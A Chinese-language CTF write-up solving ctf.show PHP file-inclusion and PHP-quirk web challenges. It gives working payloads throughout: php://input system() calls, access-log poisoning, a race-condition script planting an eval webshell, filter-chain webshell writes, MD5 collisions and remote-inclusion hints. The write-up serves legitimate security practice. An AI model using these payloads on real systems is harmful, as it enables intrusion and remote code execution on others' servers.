方法一 大小写绕过 POST /?file=Php://input HTTP/1.1 Host : 2ee07c4d-509b-44c0-a5cc-24b98c68c3fc.challenge.ctf.showPragma : no-cacheCache-Control : no-cacheUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer : http://2ee07c4d-509b-44c0-a5cc-24b98c68c3fc.challenge.ctf.show/Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : _ga=GA1.2.1002087790.1668386541Connection : closeContent-Length : 31<?php system ('cat fl0g.php' );?>
方法二 包含日志文件 /?file=/var/log/nginx/access.log User-Agent:<?php system('ls');phpinfo();?> /?file=/var/log/nginx/access.log User-Agent:<?php system('tac /var/www/html/fl0g.php');phpinfo();?>
web81 源码
<?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace ("php" , "???" , $file ); $file = str_replace ("data" , "???" , $file ); $file = str_replace (":" , "???" , $file ); include ($file ); }else { highlight_file (__FILE__ ); }
多禁用了:
/?file=/var/log/nginx/access.log User-Agent:<?php system('ls');?> # fl0g.php index.php /?file=/var/log/nginx/access.log User-Agent:<?php system('cat fl0g.php');?>
web82-86 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace ("php" , "???" , $file ); $file = str_replace ("data" , "???" , $file ); $file = str_replace (":" , "???" , $file ); $file = str_replace ("." , "???" , $file ); include ($file ); }else { highlight_file (__FILE__ ); }
竞争,参考yu22x 师傅脚本即可
import requests import threading import sys session=requests.session () sess='evo1' url1="http://17b55daa-9b61-4a00-8424-5a0fe3c2c471.challenge.ctf.show/" url2='http://17b55daa-9b61-4a00-8424-5a0fe3c2c471.challenge.ctf.show/?file=/tmp/sess_' + sess data1={ 'PHP_SESSION_UPLOAD_PROGRESS' :'<?php eval($_POST[1]);?>' } data2={ '1' :'system("cat f*");' } file={ 'file' :'abc' } cookies={ 'PHPSESSID' : sess } def write (): while True: r = session.post (url1,data=data1,files=file,cookies=cookies) def read (): while True: r = session.post (url2,data=data2) if 'ctfshow{' in r.text: print (r.text) threads = [threading.Thread (target=write), threading.Thread (target=read)] for t in threads: t.start ()
web87 源码
<?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $content = $_POST ['content' ]; $file = str_replace ("php" , "???" , $file ); $file = str_replace ("data" , "???" , $file ); $file = str_replace (":" , "???" , $file ); $file = str_replace ("." , "???" , $file ); file_put_contents (urldecode ($file ), "<?php die('大佬别秀了');?>" .$content ); }else { highlight_file (__FILE__ ); }
使用base64的方式写入文件再进行decode。base64编码只包含64个可打印字符,而php解码base64时遇到不在其中的字符,会忽略掉,将合法字符进行组合变成一个字符串进行解码,所以<?php die('大佬别秀了');?>
对其解码后,只有phpdie
六个字符组成字符串进行解码(补2个a
凑齐8字节)。
POST /?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30 HTTP/1.1 Host : 0307586d-c3c7-43a3-b6a3-d7c3ff5ed904.challenge.ctf.showContent-Length : 54Pragma : no-cacheCache-Control : no-cacheUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Origin : http://0307586d-c3c7-43a3-b6a3-d7c3ff5ed904.challenge.ctf.showContent-Type : application/x-www-form-urlencodedAccept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : _ga=GA1.2.1002087790.1668386541Connection : closecontent = aaPD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs/Pg= =
然后访问1.php
即可
web88 源码
<?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; if (preg_match ("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i" , $file )){ die ("error" ); } include ($file ); }else { highlight_file (__FILE__ ); }
用data
协议的base64
编码绕过
/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4
web116 直接包含文件
GET /index.php?file=/var/www/html/index.php HTTP/1.1 Host : e0f908bb-f5ab-4fb9-b93b-0b4ee4b943e6.challenge.ctf.showUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Accept-Encoding : gzip, deflateAccept : */*Referer : http://e0f908bb-f5ab-4fb9-b93b-0b4ee4b943e6.challenge.ctf.show/index.php?file=/var/www/html/index.phpAccept-Language : zh-CN,zh;q=0.9Cookie : _ga=GA1.2.1002087790.1668386541Range : bytes=0-Connection : close
获得源码
<?php error_reporting (0 );function filter ($x ) { if (preg_match ('/http|https|data|input|rot13|base64|string|log|sess/i' ,$x )){ die ('too young too simple sometimes naive!' ); } } $file =isset ($_GET ['file' ])?$_GET ['file' ]:"5.mp4" ;filter ($file );header ('Content-Type: video/mp4' );header ("Content-Length: $file " );readfile ($file );?>
直接包含flag.php
即可
GET /index.php?file=/var/www/html/flag.php HTTP/1.1 Host : e0f908bb-f5ab-4fb9-b93b-0b4ee4b943e6.challenge.ctf.showUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Accept-Encoding : gzip, deflateAccept : */*Referer : http://e0f908bb-f5ab-4fb9-b93b-0b4ee4b943e6.challenge.ctf.show/index.php?file=/var/www/html/index.phpAccept-Language : zh-CN,zh;q=0.9Cookie : _ga=GA1.2.1002087790.1668386541Range : bytes=0-Connection : close
web117 源码
<?php highlight_file (__FILE__ );error_reporting (0 );function filter ($x ) { if (preg_match ('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i' ,$x )){ die ('too young too simple sometimes naive!' ); } } $file =$_GET ['file' ];$contents =$_POST ['contents' ];filter ($file );file_put_contents ($file , "<?php die();?>" .$contents );
转换编码方式即可
<?php error_reporting (0 );$result = iconv ("UCS-2LE" ,"UCS-2BE" , '<?php eval($_POST[1]);?>' );echo "经过一次反转:" .$result ."\n" ;echo "经过第二次反转:" .iconv ("UCS-2LE" ,"UCS-2BE" , $result );?>
contents
中字符两两交换
POST /?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php HTTP/1.1 Host : b2fc01e7-e346-44ec-b5ca-e43faf2c7002.challenge.ctf.showContent-Length : 33User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Content-Type : application/x-www-form-urlencodedAccept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Connection : closecontents =?<hp pvela$(P_SO[T]1
然后访问a.php
并POST:1=system('tac flag.php');
即可
php特性 web89 源码
<?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (preg_match ("/[0-9]/" , $num )){ die ("no no no!" ); } if (intval ($num )){ echo $flag ; } }
数组绕过
intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1
web90 源码
<?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==="4476" ){ die ("no no no!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
数字字母混合或者16进制都可
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
PHP 4, PHP 5, PHP 7
语法 int intval ( mixed $var [, int $base = 10 ] )
参数说明:
$var:要转换成 integer 的数量值。
$base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
如果字符串以 “0” 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
返回值 成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。
最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。
字符串有可能返回 0,虽然取决于字符串最左侧的字符。
web91 <?php show_source (__FILE__ );include ('flag.php' );$a =$_GET ['cmd' ];if (preg_match ('/^php$/im' , $a )){ if (preg_match ('/^php$/i' , $a )){ echo 'hacker' ; } else { echo $flag ; } } else { echo 'nonononono' ; }
/i表示匹配大小写 字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配以php开头和以php结尾 /m 多行匹配 若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配 但是当出现换行符 %0a
的时候,$cmd的值会被当做两行处理,而此时第二个if正则匹配不符合以php开头和以php结尾
web92 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (intval ($num ,0 )==4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
web93 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (preg_match ("/[a-z]/i" , $num )){ die ("no no no!" ); } if (intval ($num ,0 )==4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
8进制或者小数点都可
web94 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==="4476" ){ die ("no no no!" ); } if (preg_match ("/[a-z]/i" , $num )){ die ("no no no!" ); } if (!strpos ($num , "0" )){ die ("no no no!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; } }
采用八进制,然后前面加个空格使得第一个0的位置变为1
web95 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (preg_match ("/[a-z]|\./i" , $num )){ die ("no no no!!" ); } if (!strpos ($num , "0" )){ die ("no no no!!!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; } }
web96 <?php highlight_file (__FILE__ );if (isset ($_GET ['u' ])){ if ($_GET ['u' ]=='flag.php' ){ die ("no no no" ); }else { highlight_file ($_GET ['u' ]); } }
/?u=/var/www/html/flag.php /?u=./flag.php /?u=php://filter/convert.base64-encode/resource=flag.php
web97 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_POST ['a' ]) and isset ($_POST ['b' ])) {if ($_POST ['a' ] != $_POST ['b' ])if (md5 ($_POST ['a' ]) === md5 ($_POST ['b' ]))echo $flag ;else print 'Wrong.' ;} ?>
数组绕过
md5碰撞
POST / HTTP/1.1 Host : b4cc0806-d909-40ae-9f32-395f4eab09ad.challenge.ctf.showContent-Length : 627User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Content-Type : application/x-www-form-urlencodedAccept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Connection : closea=% D89 % A4 % FD% 14 % EC% 0 EL% 1 A% FEG% ED% 5 B% D0 % C0 % 7 D% CAh% 16 % B4 % DFl% 08 Z% FA% 1 DA% 05 i% 29 % C4 % FF% 80 % 11 % 14 % E8 jk5 % 0 DK% DAa% FC% 2 B% DC% 9 F% 95 ab% D2 % 09 P% A1 % 5 D% 12 % 3 B% 1 ETZ% AA% 92 % 16 y% 29 % CC% 7 DV% 3 A% FF% B8 e% 7 FK% D6 % CD% 1 D% DF/a% DE% 27 % 29 % EF% 08 % FC% C0 % 15 % D1 % 1 B% 14 % C1 LYy% B2 % F9 % 88 % DF% E2 % 5 B% 9 E% 7 D% 04 c% B1 % B0 % AFj% 1 E% 7 Ch% B0 % 96 % A7 % E5 U% EBn1 q% CA% D0 % 8 B% C7 % 1 BSP&b=% D89 % A4 % FD% 14 % EC% 0 EL% 1 A% FEG% ED% 5 B% D0 % C0 % 7 D% CAh% 164 % DFl% 08 Z% FA% 1 DA% 05 i% 29 % C4 % FF% 80 % 11 % 14 % E8 jk5 % 0 DK% DAa% FC% 2 B% 5 C% A0 % 95 ab% D2 % 09 P% A1 % 5 D% 12 % 3 B% 1 ET% DA% AA% 92 % 16 y% 29 % CC% 7 DV% 3 A% FF% B8 e% 7 FK% D6 % CD% 1 D% DF/a% DE% 27 % 29 o% 08 % FC% C0 % 15 % D1 % 1 B% 14 % C1 LYy% B2 % F9 % 88 % DF% E2 % 5 B% 9 E% 7 D% 04 c% B1 % B0 % AFj% 9 E% 7 Bh% B0 % 96 % A7 % E5 U% EBn1 q% CA% D0 % 0 B% C7 % 1 BSP
web98 <?php include ("flag.php" );$_GET ?$_GET =&$_POST :'flag' ;$_GET ['flag' ]=='flag' ?$_GET =&$_COOKIE :'flag' ;$_GET ['flag' ]=='flag' ?$_GET =&$_SERVER :'flag' ;highlight_file ($_GET ['HTTP_FLAG' ]=='flag' ?$flag :__FILE__ );?>
web99 <?php highlight_file (__FILE__ );$allow = array ();for ($i =36 ; $i < 0x36d ; $i ++) { array_push ($allow , rand (1 ,$i )); } if (isset ($_GET ['n' ]) && in_array ($_GET ['n' ], $allow )){ file_put_contents ($_GET ['n' ], $_POST ['content' ]); } ?>
in_array()函数在没有第三个值得时候会进行弱比较,也就是存在强制转换,即1.php此时会被转换为1
/?n=1.php POST:content=<?php system('tac flag36d.php');?>
web100 <?php highlight_file (__FILE__ );include ("ctfshow.php" );$ctfshow = new ctfshow ();$v1 =$_GET ['v1' ];$v2 =$_GET ['v2' ];$v3 =$_GET ['v3' ];$v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 );if ($v0 ){ if (!preg_match ("/\;/" , $v2 )){ if (preg_match ("/\;/" , $v3 )){ eval ("$v2 ('ctfshow')$v3 " ); } } } ?>
&& > || > = > and > or
,=的运算符比and高,对于v0的值只需要看v1就可以v2,v3是干扰(0x2d
换成-
)
/?v1=1&v2=system('cat ctfshow.php')/*&v3=*/; /?v1=1&v2=print_r($ctfshow)/*&v3=*/; /?v1=1&v2=echo new ReflectionClass('ctfshow')/*&v3=*/; /?v1=1&v2=echo new ReflectionClass&v3=;
web101 <?php highlight_file (__FILE__ );include ("ctfshow.php" );$ctfshow = new ctfshow ();$v1 =$_GET ['v1' ];$v2 =$_GET ['v2' ];$v3 =$_GET ['v3' ];$v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 );if ($v0 ){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/" , $v2 )){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/" , $v3 )){ eval ("$v2 ('ctfshow')$v3 " ); } } } ?>
反射类
/?v1=1&v2=echo new ReflectionClass&v3=;
web102-103 <?php highlight_file (__FILE__ );$v1 = $_POST ['v1' ];$v2 = $_GET ['v2' ];$v3 = $_GET ['v3' ];$v4 = is_numeric ($v2 ) and is_numeric ($v3 );if ($v4 ){ $s = substr ($v2 ,2 ); $str = call_user_func ($v1 ,$s ); echo $str ; file_put_contents ($v3 ,$str ); } else { die ('hacker' ); } ?>
php5下is_numeric可识别16进制,如0x2e,然后调用hex2bin转成字符串写入木马,但题目环境是php7,所以要另换方法。用伪协议写入,所以需要base64编码后转成16进制全是数字的字符串。
构造出木马
<?php error_reporting (0 );$a = '<?=`cat *`;' ;$b = base64_encode ($a ); $c = bin2hex ('PD89YGNhdCAqYDs' );print_r ($c ); ?>
本题目中sub_str
前面两个字符不读取
/?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php POST:v1=hex2bin
访问1.php
并查看源码即可
web104 <?php highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_POST ['v1' ]; $v2 = $_GET ['v2' ]; if (sha1 ($v1 )==sha1 ($v2 )){ echo $flag ; } } ?>
数组绕过或者0e
开头
/?v2[]=2 POST:v1[]=1 /?v2=aaroZmOk POST:v1=aaK1STfY
web105 <?php highlight_file (__FILE__ );include ('flag.php' );error_reporting (0 );$error ='你还想要flag嘛?' ;$suces ='既然你想要那给你吧!' ;foreach ($_GET as $key => $value ){ if ($key ==='error' ){ die ("what are you doing?!" ); } $$key =$$value ; }foreach ($_POST as $key => $value ){ if ($value ==='flag' ){ die ("what are you doing?!" ); } $$key =$$value ; } if (!($_POST ['flag' ]==$flag )){ die ($error ); } echo "your are good" .$flag ."\n" ;die ($suces );?>
变量覆盖
/?tmp=flag POST:error=tmp /?suces=flag&flag=
web106 <?php highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_POST ['v1' ]; $v2 = $_GET ['v2' ]; if (sha1 ($v1 )==sha1 ($v2 ) && $v1 !=$v2 ){ echo $flag ; } } ?>
/?v2[]=2 POST:v1[]=1 /?v2=aaroZmOk POST:v1=aaK1STfY
web107 <?php highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );if (isset ($_POST ['v1' ])){ $v1 = $_POST ['v1' ]; $v3 = $_GET ['v3' ]; parse_str ($v1 ,$v2 ); if ($v2 ['flag' ]==md5 ($v3 )){ echo $flag ; } } ?>
/?v3[]=1 POST:v1[flag][]=1 /?v3=QNKCDZO POST:v1=flag=0
web108 <?php highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );if (ereg ("^[a-zA-Z]+$" , $_GET ['c' ])===FALSE ) { die ('error' ); } if (intval (strrev ($_GET ['c' ]))==0x36d ){ echo $flag ; } ?>
用%00
截断即可
web109 <?php highlight_file (__FILE__ );error_reporting (0 );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/[a-zA-Z]+/' , $v1 ) && preg_match ('/[a-zA-Z]+/' , $v2 )){ eval ("echo new $v1 ($v2 ());" ); } } ?>
寻找一些可用的PHP原生内酯类,echo会使得$v1
类触发__toString()
,传递的参数v2则会被输出
/?v1=CachingIterator&v2=system('tac fl36dg.txt') /?v1=Exception&v2=system('tac fl36dg.txt')
web110 <?php highlight_file (__FILE__ );error_reporting (0 );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v1 )){ die ("error v1" ); } if (preg_match ('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v2 )){ die ("error v2" ); } eval ("echo new $v1 ($v2 ());" ); } ?>
使用FilesystemIterator文件系统迭代器,通过新建FilesystemIterator,使用getcwd()来显示当前目录下的文件结构
/?v1=FilesystemIterator&v2=getcwd
然后直接访问fl36dga.txt
即可
web111 <?php highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );function getFlag (&$v1 ,&$v2 ) { eval ("$$v1 = &$$v2 ;" ); var_dump ($$v1 ); } if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v1 )){ die ("error v1" ); } if (preg_match ('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v2 )){ die ("error v2" ); } if (preg_match ('/ctfshow/' , $v1 )){ getFlag ($v1 ,$v2 ); } } ?>
web112 <?php highlight_file (__FILE__ );error_reporting (0 );function filter ($file ) { if (preg_match ('/\.\.\/|http|https|data|input|rot13|base64|string/i' ,$file )){ die ("hacker!" ); }else { return $file ; } } $file =$_GET ['file' ];if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; }
/?file=php://filter/resource=flag.php /?file=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php /?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php /?file=compress.zlib://flag.php
web113 <?php highlight_file (__FILE__ );error_reporting (0 );function filter ($file ) { if (preg_match ('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i' ,$file )){ die ('hacker!' ); }else { return $file ; } } $file =$_GET ['file' ];if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; }
在Linux中,/proc/self/root
代表的是根目录,可以多次重复来使函数溢出,require_once包含的软链接层数较多时 once 的 hash 匹配会直接失效造成重复包含。
/?file=compress.zlib://flag.php /?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
web114 <?php error_reporting (0 );highlight_file (__FILE__ );function filter ($file ) { if (preg_match ('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i' ,$file )){ die ('hacker!' ); }else { return $file ; } } $file =$_GET ['file' ];echo "师傅们居然tql都是非预期 哼!" ;if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; }
/?file=php://filter/resource=flag.php
web115 <?php include ('flag.php' );highlight_file (__FILE__ );error_reporting (0 );function filter ($num ) { $num =str_replace ("0x" ,"1" ,$num ); $num =str_replace ("0" ,"1" ,$num ); $num =str_replace ("." ,"1" ,$num ); $num =str_replace ("e" ,"1" ,$num ); $num =str_replace ("+" ,"1" ,$num ); return $num ; } $num =$_GET ['num' ];if (is_numeric ($num ) and $num !=='36' and trim ($num )!=='36' and filter ($num )=='36' ){ if ($num =='36' ){ echo $flag ; }else { echo "hacker!!" ; } }else { echo "hacker!!!" ; }
查看下可用字符
<?php error_reporting (0 );function filter ($num ) { $num =str_replace ("0x" ,"1" ,$num ); $num =str_replace ("0" ,"1" ,$num ); $num =str_replace ("." ,"1" ,$num ); $num =str_replace ("e" ,"1" ,$num ); $num =str_replace ("+" ,"1" ,$num ); return $num ; } function check ($num ) { if (is_numeric ($num ) and $num !=='36' and trim ($num )!=='36' and filter ($num )=='36' ){ return true ; } return false ; } for ($i =0 ;$i <=128 ;$i ++){ $payload = chr ($i ).'36' ; if (check ($payload )){ echo urlencode ($payload ).PHP_EOL; } } ?>
发现%0C
,也就是\f
分页符可以利用
web123 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/" , $c )&&$c <=18 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } } ?>
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[
则会被转化为_
,所以按理来说我们构造不出CTF_SHOW.COM
这个变量(因为含有.
),但php中有个特性就是如果传入[
,它被转化为_
之后,后面的字符就会被保留下来不会被替换
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
web125 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i" , $c )&&$c <=16 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } } ?>
/?1=flag.php POST:CTF_SHOW=$flag&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
*web126 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i" , $c ) && strlen ($c )<=16 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } }
/?a=1+fl0g=flag_give_me POST:CTF_SHOW=$flag&CTF[SHOW.COM=&fun=parse_str($a[1]) /?$fl0g=flag_give_me; POST:CTF_SHOW=$flag&CTF[SHOW.COM=&fun=eval($a[0])
web127 <?php error_reporting (0 );include ("flag.php" );highlight_file (__FILE__ );$ctf_show = md5 ($flag );$url = $_SERVER ['QUERY_STRING' ];function waf ($url ) { if (preg_match ('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//' , $url )){ return true ; }else { return false ; } } if (waf ($url )){ die ("嗯哼?" ); }else { extract ($_GET ); } if ($ctf_show ==='ilove36d' ){ echo $flag ; }
空格、+
、[
会被转化为_
web128 <?php error_reporting (0 );include ("flag.php" );highlight_file (__FILE__ );$f1 = $_GET ['f1' ];$f2 = $_GET ['f2' ];if (check ($f1 )){ var_dump (call_user_func (call_user_func ($f1 ,$f2 ))); }else { echo "嗯哼?" ; } function check ($str ) { return !preg_match ('/[0-9]|[a-z]/i' , $str ); }
_() 等效于 gettext()
get_defined_vars ( void ) : array 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
/?f1=_&f2=get_defined_vars
web129 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['f' ])){ $f = $_GET ['f' ]; if (stripos ($f , 'ctfshow' )>0 ){ echo readfile ($f ); } }
/?f=/ctfshow/../var/www/html/flag.php /?f=http://url/xxxx.txt?ctfshow #远程文件包含,在自己服务器上写🐎 /?f=php://filter/ctfshow/resource=flag.php /?f=php://filter/convert.base64-encode/ctfshow/resource=flag.php /?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
web130 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['f' ])){ $f = $_POST ['f' ]; if (preg_match ('/.+?ctfshow/is' , $f )){ die ('bye!' ); } if (stripos ($f , 'ctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag ; }
直接ctfshow
或者利用数组
POST: f=ctfshow POST: f[]=1
也可以利用正则最大回溯(PHP利用PCRE回溯次数限制绕过某些安全限制 )
import base64import osimport reimport requestsurl = "http://7e393df7-54a9-43aa-b855-c2d9ffb0d6bc.challenge.ctf.show/" data = { 'f' : 'a' *1000000 + 'ctfshow' } res = requests.post(url=url, data=data) print (res.text)
web131 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['f' ])){ $f = (String)$_POST ['f' ]; if (preg_match ('/.+?ctfshow/is' , $f )){ die ('bye!' ); } if (stripos ($f ,'36Dctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag ; }
正则最大回溯即可
import base64import osimport reimport requestsurl = "http://e9ba2cd0-88f6-418c-891a-bba82431675b.challenge.ctf.show/" data = { 'f' : 'a' *1000000 + '36Dctfshow' } res = requests.post(url=url, data=data) print (res.text)
web132 访问/robots.txt
发现/admin
,访问后得到源码
